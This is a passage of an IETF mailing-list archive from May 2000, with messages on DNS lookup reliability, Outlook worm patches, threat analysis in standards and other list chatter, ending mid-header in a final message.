Received: from 157.54.9.101 by mail1.microsoft.com (InterScan E-Mail VirusWall NT); Sun, 28 May 2000 13:04:28 -0700 (Pacific Daylight Time)
Received: by INET-IMC-01 with Internet Mail Service (5.5.2651.58)
	id <L44F1LY0>; Sun, 28 May 2000 13:04:28 -0700
Message-ID: <2E3FA0558747934A8F753CC533A3F6DF01FF5653@red-msg-24.redmond.corp.microsoft.com>
From: Christian Huitema <huitema@microsoft.com>
To: "'cls@flywheel.com'" <cls@flywheel.com>, ietf@ietf.org
Subject: RE: Cite on DNS-related traffic.
Date: Sun, 28 May 2000 13:04:27 -0700
X-Mailer: Internet Mail Service (5.5.2651.58)
X-Loop: ietf@ietf.org

The graph was based on NLANR data, specifically the analysis of packet flows
at the FIX West. I have (indirectly) received feedback that mentioned that
the overhead in typical ISP network is much lower.

There is however a real problem with the DNS, one that is probably not paid
enough attention today. If you pick a valid DNS name at random, for example
by looking deep into the results of search engines such as Altavista, there
are currently more than 25% chances that "gethostbyname" will not return a
result in less than 2 seconds. I attribute this rather horrendous result to
two main causes. First, the root servers appear to be severely overloaded. I
refrain to run a measurement tool against these servers for fear of adding
to the overload, but when I did run a test I found that some servers failed
to complete as many as 40% of the transaction attempts thrown at them. The
second cause is the prevalent packet loss rate in the "public Internet"
(i.e. when you have to cross several inter-AS connections). This loss rate
hovers between 1% and 5%. The effect on UDP based protocols is obvious; when
you pile up several successive transactions, as the DNS does, the results
are cumulative...

Christian Huitema

> -----Original Message-----
> From: Craig Simon [mailto:cls@flywheel.com]
> Sent: Friday, May 26, 2000 1:25 PM
> To: ietf@ietf.org
> Subject: Cite on DNS-related traffic.
> 
> 
> I recall once seeing a graph shown by Christian Huitema 
> indicating that
> DNS-related overhead accounted for about 5 to 10 percent of 
> Internet traffic. 
> 
> Can anyone provide a link for this or equivalent documentation? 
> 
> Thanks.
> 
> Craig Simon
> 



From owner-ietf-outbound  Sun May 28 20:20:42 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA11479
	for ietf-outbound.10@ietf.org; Sun, 28 May 2000 20:20:02 -0400 (EDT)
Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11429
	for <ietf@ietf.org>; Sun, 28 May 2000 20:14:55 -0400 (EDT)
Received: from bovik.org (bovik.vip.best.com [205.149.161.94])
	by proxy4.ba.best.com (8.9.3/8.9.2/best.out) with ESMTP id RAA05907
	for <ietf@ietf.org>; Sun, 28 May 2000 17:13:15 -0700 (PDT)
Message-ID: <3931B5E2.4FD671A4@bovik.org>
Date: Sun, 28 May 2000 17:12:18 -0700
From: James Salsman <j.salsman@bovik.org>
Organization: Bovik Research
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: RE: still no Outlook patch
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

> What is exactly your question/point?
> 
> 1.- Is it that when is the security patch will exist?
>     It already exists.

Only one of two is released.  The only one they have released is 
very weak, in that it would not have prevented Melissa and the 
other self-sending MAPI clients; it only would have slowed their spread.

> 2.- Is it that those features were disabled?

Sort of; please have a look at

  http://www.microsoft.com/technet/security/virus/vbslvltr.asp

In particular:

) Two security updates to Outlook are available to help protect 
) against malicious programs like worms and viruses: 
) 
) - A file attachment update is available for Outlook 97, Outlook 98
)   and Outlook 2000 This update makes it more difficult to
)   inadvertently launch attachments, by providing a more explicit
)   warning dialogue, and preventing attached executables from
)   being launched directly from e-mails. The update also is
)   included as part of Office 2000 SR1. 
)
) - A security update will soon be available for Outlook 98 and
)   2000. This update will provide even greater protection than the
)   file protection update. It prevents certain types of attached
)   files from ever being opened or saved to disk, ensures that
)   customers are alerted anytime a program attempts to send mail
)   on their behalf, and changes the default Security Zone in which
)   mail is processed. 

Likely there will be no way to turn off the MAPI Send method 
without also completely excluding a whole range of file 
attachments.  My guess is that this is being done because of 
some Excel and SQL Server scripts that send mail.  There are 
better solutions, including for Microsoft.  Will Microsoft 
really end up with those two patches 'tied' together?  The 
fact that they still have some people who have suggested it 
is not helping them avoid the "predatory" label.

Cheers,
James



From owner-ietf-outbound  Mon May 29 03:00:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id DAA27612
	for ietf-outbound.10@ietf.org; Mon, 29 May 2000 03:00:02 -0400 (EDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA27557
	for <ietf@ietf.org>; Mon, 29 May 2000 02:52:06 -0400 (EDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.10.1/8.10.1/WIREfire-1.9) with ESMTP id e4T6q4J29774
	for <ietf@ietf.org>; Mon, 29 May 2000 08:52:05 +0200 (MET DST)
Received: from e0050da994ded (E0050DA994DED-udp314801.lmf.ericsson.se [131.160.30.178])
	by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with SMTP id JAA03081
	for <ietf@ietf.org>; Mon, 29 May 2000 09:52:03 +0300 (EET DST)
Message-ID: <003501bfc93a$4834f6e0$b21ea083@e0050da994ded.lmf.ericsson.se>
From: "Kimmo Rantanen" <kimmo.rantanen@ericsson.com>
To: <ietf@ietf.org>
Subject: test
Date: Mon, 29 May 2000 09:51:14 +0300
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0032_01BFC953.6D66B7A0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3612.1700
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_0032_01BFC953.6D66B7A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

test

------=_NextPart_000_0032_01BFC953.6D66B7A0
Content-Type: text/x-vcard;
	name="Kimmo Rantanen.vcf"
Content-Disposition: attachment;
	filename="Kimmo Rantanen.vcf"
Content-Transfer-Encoding: 7bit

BEGIN:VCARD
VERSION:2.1
N:Rantanen;Kimmo
FN:Kimmo Rantanen
ORG:Ericsson;IP solutions, Telecom R&D
TITLE:Technical Product Manager
TEL;WORK;VOICE:+358 9 299 2957
TEL;HOME;VOICE:+ 358 9 8745787
TEL;CELL;VOICE:+358 40 507 1319
TEL;WORK;FAX:+358 9 299 3118
ADR;WORK:;Jorvas;;;;02420 Jorvas;Finland
LABEL;WORK;ENCODING=QUOTED-PRINTABLE:Jorvas=0D=0A02420 Jorvas=0D=0AFinland
ADR;HOME:;;;Vantaa;;01360;Finland
LABEL;HOME;ENCODING=QUOTED-PRINTABLE:Vantaa 01360=0D=0AFinland
URL:
URL:http://www.ericsson.fi
EMAIL;PREF;INTERNET:kimmo.rantanen@ericsson.com
REV:20000529T065114Z
END:VCARD

------=_NextPart_000_0032_01BFC953.6D66B7A0--



From owner-ietf-outbound  Mon May 29 13:10:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA01708
	for ietf-outbound.10@ietf.org; Mon, 29 May 2000 13:10:02 -0400 (EDT)
Received: from ljcqs016.cnf.com (egate1.cnf.com [205.185.108.239])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA01582
	for <ietf@ietf.org>; Mon, 29 May 2000 13:03:19 -0400 (EDT)
Received: from mwabs030.emeryworld.com (localhost [127.0.0.1])
	by ljcqs016.cnf.com (8.9.3/8.9.3) with ESMTP id KAA29751
	for <ietf@ietf.org>; Mon, 29 May 2000 10:02:48 -0700 (PDT)
Received: by mwabs030.emeryworld.com with Internet Mail Service (5.5.2650.21)
	id <L2AKP638>; Mon, 29 May 2000 16:55:06 -0000
Message-ID: <C7091526C06AD211A7450004AC384A350C35D21E@mwabs035.emeryworld.com>
From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
To: ietf@ietf.org
Subject: RE: Storage over Ethernet/IP 
Date: Mon, 29 May 2000 17:02:10 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org



->-----Original Message-----
->From: Harald Tveit Alvestrand [mailto:Harald@Alvestrand.no]
->Sent: Friday, May 26, 2000 6:27 PM
->To: Brian.Rubarts@BORN.COM
->Cc: ietf@ietf.org
->Subject: RE: Storage over Ethernet/IP 

->The point being made, remade and made again here is:
->- Any protocol that offers no means of countering such 
->security threats is 
->broken, and should not be considered for standardization.

->It is perfectly possible that after conducting a threat and modality 
->analysis, one ends up with saying that hardware-accelerated 
->IPsec using 
->host identities is adequate for the scenarios involving 
->otherwise-unprotected Internet links, and that a mode with no 
->protection is 
->adequate when the media is physically secured.
->
->But the analysis MUST BE DONE.
->

is vulnerability and threat analysis part of the 
standardization process ??

/pd



From owner-ietf-outbound  Mon May 29 14:00:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA02088
	for ietf-outbound.10@ietf.org; Mon, 29 May 2000 14:00:01 -0400 (EDT)
Received: from mail-green.research.att.com (H-135-207-30-103.research.att.com [135.207.30.103])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA02054
	for <ietf@ietf.org>; Mon, 29 May 2000 13:56:15 -0400 (EDT)
Received: from postal.research.att.com (postal.research.att.com [135.207.23.30])
	by mail-green.research.att.com (Postfix) with ESMTP
	id DB4AD1E008; Mon, 29 May 2000 13:56:15 -0400 (EDT)
Received: from smb.research.att.com (postal.research.att.com [135.207.23.30])
	by postal.research.att.com (8.8.7/8.8.7) with ESMTP id NAA18962;
	Mon, 29 May 2000 13:56:14 -0400 (EDT)
Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1])
	by smb.research.att.com (Postfix) with ESMTP
	id 09B4B35DC2; Mon, 29 May 2000 13:56:13 -0400 (EDT)
X-Mailer: exmh version 2.1.1 10/15/1999
From: "Steven M. Bellovin" <smb@research.att.com>
To: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
Cc: ietf@ietf.org
Subject: Re: Storage over Ethernet/IP 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 29 May 2000 13:56:13 -0400
Sender: smb@research.att.com
Message-Id: <20000529175614.09B4B35DC2@smb.research.att.com>
X-Loop: ietf@ietf.org

In message <C7091526C06AD211A7450004AC384A350C35D21E@mwabs035.emeryworld.com>, 
"Dawson, Peter D" writes:
>
>
>->-----Original Message-----
>->From: Harald Tveit Alvestrand [mailto:Harald@Alvestrand.no]
>->Sent: Friday, May 26, 2000 6:27 PM
>->To: Brian.Rubarts@BORN.COM
>->Cc: ietf@ietf.org
>->Subject: RE: Storage over Ethernet/IP 
>
>->The point being made, remade and made again here is:
>->- Any protocol that offers no means of countering such 
>->security threats is 
>->broken, and should not be considered for standardization.
>
>->It is perfectly possible that after conducting a threat and modality 
>->analysis, one ends up with saying that hardware-accelerated 
>->IPsec using 
>->host identities is adequate for the scenarios involving 
>->otherwise-unprotected Internet links, and that a mode with no 
>->protection is 
>->adequate when the media is physically secured.
>->
>->But the analysis MUST BE DONE.
>->
>
>is vulnerability and threat analysis part of the 
>standardization process ??
>
Yes, in order to come up with a reasonable security considerations 
section.  (Clearly, much of it is site-specific.  But the protocol 
developers can't ignore it.)


		--Steve Bellovin




From owner-ietf-outbound  Mon May 29 14:20:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA02343
	for ietf-outbound.10@ietf.org; Mon, 29 May 2000 14:20:02 -0400 (EDT)
Received: from ljcqs016.cnf.com (egate1.cnf.com [205.185.108.239])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA02257
	for <ietf@ietf.org>; Mon, 29 May 2000 14:08:53 -0400 (EDT)
Received: from mwabs030.emeryworld.com (localhost [127.0.0.1])
	by ljcqs016.cnf.com (8.9.3/8.9.3) with ESMTP id LAA01996
	for <ietf@ietf.org>; Mon, 29 May 2000 11:08:23 -0700 (PDT)
Received: by mwabs030.emeryworld.com with Internet Mail Service (5.5.2650.21)
	id <L2AKP67K>; Mon, 29 May 2000 18:00:41 -0000
Message-ID: <C7091526C06AD211A7450004AC384A350C35D220@mwabs035.emeryworld.com>
From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
To: ietf@ietf.org
Subject: RE: Storage over Ethernet/IP 
Date: Mon, 29 May 2000 18:07:48 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org



->-----Original Message-----
->From: Steven M. Bellovin [mailto:smb@research.att.com]
->Sent: Monday, May 29, 2000 1:56 PM
->To: Dawson, Peter D
->Cc: ietf@ietf.org
->Subject: Re: Storage over Ethernet/IP 
->
->
->In message 
-><C7091526C06AD211A7450004AC384A350C35D21E@mwabs035.emeryworld.com>, 
->"Dawson, Peter D" writes:
->>
->>
->>->-----Original Message-----
->>->From: Harald Tveit Alvestrand [mailto:Harald@Alvestrand.no]
->>->Sent: Friday, May 26, 2000 6:27 PM
->>->To: Brian.Rubarts@BORN.COM
->>->Cc: ietf@ietf.org
->>->Subject: RE: Storage over Ethernet/IP 
->>
->>->The point being made, remade and made again here is:
->>->- Any protocol that offers no means of countering such 
->>->security threats is 
->>->broken, and should not be considered for standardization.
->>
->>->It is perfectly possible that after conducting a threat 
->and modality 
->>->analysis, one ends up with saying that hardware-accelerated 
->>->IPsec using 
->>->host identities is adequate for the scenarios involving 
->>->otherwise-unprotected Internet links, and that a mode with no 
->>->protection is 
->>->adequate when the media is physically secured.
->>->
->>->But the analysis MUST BE DONE.
->>->
->>
->>is vulnerability and threat analysis part of the 
->>standardization process ??
->>
->Yes, in order to come up with a reasonable security considerations 
->section.  (Clearly, much of it is site-specific.  But the protocol 
->developers can't ignore it.)
->
->
->		--Steve Bellovin
->
OK...but nowhere in rfc2401/2402 do the STD doc's specify 
finding's of the  security /threat analysis, so how does
one state that the std doc, is within the reasonable limits
to counter "such threats and security" ?? 

/pd



From owner-ietf-outbound  Mon May 29 14:50:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA02643
	for ietf-outbound.10@ietf.org; Mon, 29 May 2000 14:50:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA02579
	for <ietf@ietf.org>; Mon, 29 May 2000 14:42:25 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id OAA07262;
        Mon, 29 May 2000 14:42:23 -0400 (EDT)
Message-Id: <200005291842.OAA07262@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
cc: ietf@ietf.org
Subject: Re: Storage over Ethernet/IP 
In-reply-to: Your message of "Mon, 29 May 2000 17:02:10 -0000."
             <C7091526C06AD211A7450004AC384A350C35D21E@mwabs035.emeryworld.com> 
Date: Mon, 29 May 2000 14:42:23 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> is vulnerability and threat analysis part of the 
> standardization process ??

yes.



From owner-ietf-outbound  Mon May 29 15:00:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA02761
	for ietf-outbound.10@ietf.org; Mon, 29 May 2000 15:00:03 -0400 (EDT)
Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA02593
	for <ietf@ietf.org>; Mon, 29 May 2000 14:43:26 -0400 (EDT)
Received: (from sob@localhost)
	by newdev.harvard.edu (8.9.3/8.9.3) id OAA06315;
	Mon, 29 May 2000 14:43:25 -0400 (EDT)
Date: Mon, 29 May 2000 14:43:25 -0400 (EDT)
From: Scott Bradner <sob@harvard.edu>
Message-Id: <200005291843.OAA06315@newdev.harvard.edu>
To: Dawson.Peter@emeryworld.com, ietf@ietf.org
Subject: RE: Storage over Ethernet/IP
X-Loop: ietf@ietf.org

Peter - for the last few years the IESG has required IETF working groups
to have meaningful Security Considerations sections in standards 
track RFCs - these must include a threat and security analysis

Scott



From owner-ietf-outbound  Mon May 29 15:20:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA03046
	for ietf-outbound.10@ietf.org; Mon, 29 May 2000 15:20:02 -0400 (EDT)
Received: from unni.dsv.su.se (unni.dsv.su.se [130.237.161.27])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA02990
	for <ietf@ietf.org>; Mon, 29 May 2000 15:13:53 -0400 (EDT)
Received: from [130.237.150.138] (jph1.dsv.su.se [130.237.150.138])
	by unni.dsv.su.se (8.9.3+Sun/8.9.3) with ESMTP
	id VAA05245 for <ietf@ietf.org>;
	Mon, 29 May 2000 21:13:52 +0200 (MET DST)
Mime-Version: 1.0
Message-Id: <v04210106b558721066e3@[130.237.150.138]>
Date: Mon, 29 May 2000 21:16:28 +0200
To: IETF general mailing list <ietf@ietf.org>
From: Jacob Palme <jpalme@DSV.SU.SE>
Subject: New mailing list on legal control of the Internet
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

Eric Thomas has helped me start a mailing list on legal
control of the Internet.

The NETLAW mailing list is open for discussion of which
laws and which kind of legal control of the Internet is
wanted or not wanted. Should Internet service providers
help the police? Should we rather use self-control? Which
uses of the net should we act against? Virus distribution?
Mail bombing, ping attacks and other denial of service
attacks? Cracking? Spamming?

The list can also be used to report about laws controlling
the Internet in various countries, both laws you like and
laws you dislike.

To subscribe, send an email to LISTERV@SEGATE.SUNET.SE with
the following text in the body of the message:

   SUB NETLAW <your name>

where you replace <your name> with your name, not your e-mail address.

Archives at http://segate.sunet.se/archives/netlaw.html

More info at http://dsv.su.se/jpalme/society/netlaw.html
-- 
Jacob Palme <jpalme@dsv.su.se> (Stockholm University and KTH)
for more info see URL: http://www.dsv.su.se/jpalme/



From owner-ietf-outbound  Mon May 29 16:40:54 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA03755
	for ietf-outbound.10@ietf.org; Mon, 29 May 2000 16:40:02 -0400 (EDT)
Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA03723
	for <ietf@ietf.org>; Mon, 29 May 2000 16:37:28 -0400 (EDT)
Received: from langfjella.Alvestrand.no ([10.128.167.143])
	by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id WAA32727;
	Mon, 29 May 2000 22:37:18 +0200
Message-Id: <4.3.1.2.20000529222516.02b78908@dokka.kvatro.no>
X-Sender: hta@dokka.maxware.no
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Mon, 29 May 2000 22:33:59 +0200
To: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>, ietf@ietf.org
From: Harald Tveit Alvestrand <Harald@Alvestrand.no>
Subject: RE: Storage over Ethernet/IP 
In-Reply-To: <C7091526C06AD211A7450004AC384A350C35D21E@mwabs035.emerywor
 ld.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 17:02 29.05.2000 +0000, Dawson, Peter D wrote:
>is vulnerability and threat analysis part of the
>standardization process ??
Yes.

RFC 2223, "Instructions to RFC authors", section 9.

See also RFC 2316, "Report from the IAB security workshop", section 9, 
which gives further guidance.

               Harald

--
Harald Tveit Alvestrand, EDB Maxware, Norway
Harald.Alvestrand@edb.maxware.no



From owner-ietf-outbound  Mon May 29 22:30:29 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA06709
	for ietf-outbound.10@ietf.org; Mon, 29 May 2000 22:30:03 -0400 (EDT)
Received: from tcb.net (tcb.net [205.168.100.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA06680
	for <ietf@ietf.org>; Mon, 29 May 2000 22:29:55 -0400 (EDT)
Received: from sofos.tcb.net (sofos.tcb.net [127.0.0.1])
	by tcb.net (8.9.3/8.9.3) with ESMTP id UAA04186
	for <ietf@ietf.org>; Mon, 29 May 2000 20:31:13 -0600
Message-Id: <200005300231.UAA04186@tcb.net>
To: ietf@ietf.org
From: Danny McPherson <danny@tcb.net>
Reply-To: danny@tcb.net
Subject: Directed Broadcasts
Date: Mon, 29 May 2000 20:31:12 -0600
Sender: danny@sofos.tcb.net
X-Loop: ietf@ietf.org


[Apologies in advance for the use of this distribution list,
I need to ensure that I cover as many work areas as possible]

That said, I wanted to ask if folks that are aware of real uses
for "directed broadcasts" in networks today could let me know of 
the use.  I'm aware of a few (e.g. the Mobile IP stuff and smurf
amplifiers), but am certain I'm overlooking others.

If you're aware of anything that is using (or intends to use) 
directed broadcast, could you please send me a PRIVATE email 
message.

Thanks!

-danny 



From owner-ietf-outbound  Tue May 30 01:50:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id BAA14508
	for ietf-outbound.10@ietf.org; Tue, 30 May 2000 01:50:02 -0400 (EDT)
Received: from perq.cac.washington.edu (c986708-b.sttln1.wa.home.com [24.11.162.150])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA14471
	for <ietf@ietf.org>; Tue, 30 May 2000 01:48:45 -0400 (EDT)
Received: from localhost (rlmorgan@localhost)
	by perq.cac.washington.edu (8.9.3/8.9.3) with ESMTP id WAA13519;
	Mon, 29 May 2000 22:49:10 -0700
X-Authentication-Warning: perq.cac.washington.edu: rlmorgan owned process doing -bs
Date: Mon, 29 May 2000 22:49:10 -0700 (PDT)
From: "RL 'Bob' Morgan" <rlmorgan@washington.edu>
X-Sender: rlmorgan@perq.cac.washington.edu
Reply-To: "RL 'Bob' Morgan" <rlmorgan@washington.edu>
To: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
cc: ietf@ietf.org
Subject: RE: Storage over Ethernet/IP 
In-Reply-To: <C7091526C06AD211A7450004AC384A350C35D21E@mwabs035.emeryworld.com>
Message-ID: <Pine.LNX.4.21.0005291512260.12897-100000@perq.cac.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org


> is vulnerability and threat analysis part of the standardization
> process ??

RFCs 2251-2256, which specify LDAPv3, carry a stern warning up front that
that these documents lack a standard mandatory-to-implement strong
authentication method, hence limiting the applicability of the protocol
(how much effect this warning has had in practice is hard to say, of
course).  New documents have been written that do indeed do a
vulnerability analysis, not in any great depth but enough to motivate the
mechanisms recommended to deal with the identified threats.  In particular
see RFC 2829 (which should appear any minute now,
draft-ietf-ldapext-authmeth-04.txt in the mean time).

 - RL "Bob"




From owner-ietf-outbound  Tue May 30 07:00:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA23622
	for ietf-outbound.10@ietf.org; Tue, 30 May 2000 07:00:02 -0400 (EDT)
Received: from gtranz.com ([216.231.39.215])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA23545
	for <ietf@ietf.org>; Tue, 30 May 2000 06:57:21 -0400 (EDT)
From: contact@gTranz.com
Date: Tue, 30 May 2000 06:58:02 -0800
Subject: Free eCommerce Store
Message-Id: <rg7o7r875b1ie.o0huorpqqu6k0hp@gtranz.com>
Reply-To: contact@gTranz.com
Content-Type: text/plain;
	 charset="iso-8859-1"
Content-Transfer-Encoding: 8BIT
To: ietf@ietf.org
Content-Transfer-Encoding: 8BIT
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8BIT

-------------------------------------------------------------------
This mail is never sent unsolicited. This is a PostMasterDirect.com
mailing! You have subscribed to receive this information at Internet.com.
To unsubscribe forward this message to contact@gtranz.com
To mail to lists, go to http://www.PostMasterDirect.com/
-------------------------------------------------------------------


Put your business online, instantly.  gTranz provides you with the tools to build, manage and grow your online business, including:

·	An easy-to-use store-builder
·	Site hosting
·	Real time credit card processing
·	Tax and shipping calculators
·	Unlimited categories and items
·	In-depth reporting functions
·	Merchant account services
·	Search Engine Submission
·	Domain Name Registration
·	Banner advertising
·	Procurement services

            And much more.

Special Offer:
If you respond to this ad within the next 30 days, we will:

1.	Give you a 30 day FREE trial
2.	Transfer your existing site into our solution 
3.	Provide full telephone support


To take advantage of our special offer visit www.gtranz.com, sign-up, and start building your online store.  It’s that simple.   

Business Partners wanted:
Become a gTranz partner and earn revenue by providing gTranz’s e-commerce services to your customers.  For details about our various partnership and affiliate programs, please visit www.gtranz.com/partners.html.




From owner-ietf-outbound  Tue May 30 08:30:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA26685
	for ietf-outbound.10@ietf.org; Tue, 30 May 2000 08:30:02 -0400 (EDT)
Received: from poseidon.bwc.state.oh.us ([198.234.212.100])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA26545
	for <ietf@ietf.org>; Tue, 30 May 2000 08:22:20 -0400 (EDT)
Received: by poseidon.bwc.state.oh.us; id IAA17829; Tue, 30 May 2000 08:20:19 -0400 (EDT)
Received: from venus.bwc.state.oh.us(165.223.131.35) by neptune.bwc.state.oh.us via smap (V5.0)
	id xma017796; Tue, 30 May 00 08:19:40 -0400
Received: from mswg6.bwc.state.oh.us ([165.223.130.24])
	by venus.bwc.state.oh.us (8.9.3/8.9.1) with ESMTP id IAA06188
	for <ietf@ietf.org>; Tue, 30 May 2000 08:26:28 -0400 (EDT)
Received: by MSWG6 with Internet Mail Service (5.5.2650.21)
	id <L1K9CD1S>; Tue, 30 May 2000 08:20:44 -0400
Message-ID: <6FDE0867413DD21182BF00A0C972519204C98A1E@MSWG4>
From: "Morrisey Matthew J." <Matthew.Morrisey@bwc.state.oh.us>
To: "Morrisey Matthew J." <Matthew.Morrisey@bwc.state.oh.us>
Cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: 48th IETF meeting in Pittsburgh, PA
Date: Tue, 30 May 2000 08:20:38 -0400
X-Mailer: Internet Mail Service (5.5.2650.21)
X-Loop: ietf@ietf.org

Not a lot there...
...yet.

Guess i'm planning to early?
Does anyone know who the sponsor is?



> -----Original Message-----
> From:	Fred Baker [SMTP:fred@cisco.com]
> Sent:	Friday, May 26, 2000 7:47 PM
> To:	Morrisey Matthew J.
> Cc:	'ietf@ietf.org'
> Subject:	Re: 48th IETF meeting in Pittsburgh, PA
> 
> At 10:15 AM 5/25/00 -0400, Morrisey Matthew J. wrote:
> >Where can i find more info?
> 
> have you checked www.ietf.org?



From owner-ietf-outbound  Tue May 30 09:31:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA28307
	for ietf-outbound.10@ietf.org; Tue, 30 May 2000 09:30:02 -0400 (EDT)
Received: from atkielski.com (atkielski.com [161.58.232.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28231
	for <ietf@ietf.org>; Tue, 30 May 2000 09:26:06 -0400 (EDT)
Received: from AStLambert101214 (ASt-Lambert-101-2-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.8.8) id PAA54072; Tue, 30 May 2000 15:26:06 +0200 (CEST)
Message-ID: <007b01bfca3a$9c54a490$0a00000a@abo.wanadoo.fr>
From: "Anthony Atkielski" <anthony@atkielski.com>
To: <ietf@ietf.org>
References: <3931B5E2.4FD671A4@bovik.org>
Subject: Re: still no Outlook patch
Date: Tue, 30 May 2000 15:25:31 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

From: "James Salsman" <j.salsman@bovik.org>
Sent: Monday, May 29, 2000 02:12
Subject: RE: still no Outlook patch


> The fact that they still have some people who
> have suggested it is not helping them avoid
> the "predatory" label.

Only among those with a poor understanding of the software issues, I
daresay.  I think, in this case (as in most), it is a question of poor or
questionable product design, not predation.

Microsoft, like just about every other microcomputer software publisher,
gives priority to feature bloat over security.  This is an economic
necessity, because the need to sell upgrades and versions to survive
requires that a software publisher find reasons to entice customers to
replace software that already does the job with new software that does the
same thing.  Customers may whine about security, but they won't pay for it,
and they find it a nuisance when they see it in the products they buy (even
mainframe customers tend to be this way, but microcomputer users are much,
much worse in this respect).  Build lots of new features of dubious utility
into a product and you'll be able to persuade at least some people to buy an
upgrade that they don't really need; build security into a product and a lot
of people will stick with the old version just to avoid the inconvenience of
the new security features.  Additionally, while it is difficult to prove
that a publisher has not lived up to its promise with respect to new and
often useless features, it is much easier to prove that a publisher has
messed something up if it promises security and fails to deliver--so it's
best not to promise security in the first place.

Anyway, I'm not sure what any of this has to do with the Internet, apart
from a loose connection to recent problems with viruses that have propagated
via e-mail sent (incidentally) over the Internet.  Even then, in these
specific, recent cases, the viruses spread because individual users were too
stupid to reflect before opening just any old attachment that they see (even
after repeated warnings); and so, if any fingers must be pointed, I suggest
that they be pointed at the end users, not at vendors, ISPs, the IETF, or
anyone else.  There's a limit to how completely any software can protect
against stupidity and still fulfill a useful purpose.

  -- Anthony



From owner-ietf-outbound  Tue May 30 10:11:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA29309
	for ietf-outbound.10@ietf.org; Tue, 30 May 2000 10:10:02 -0400 (EDT)
Received: from netcreations.com (netcreations.com [208.156.32.204])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA29201
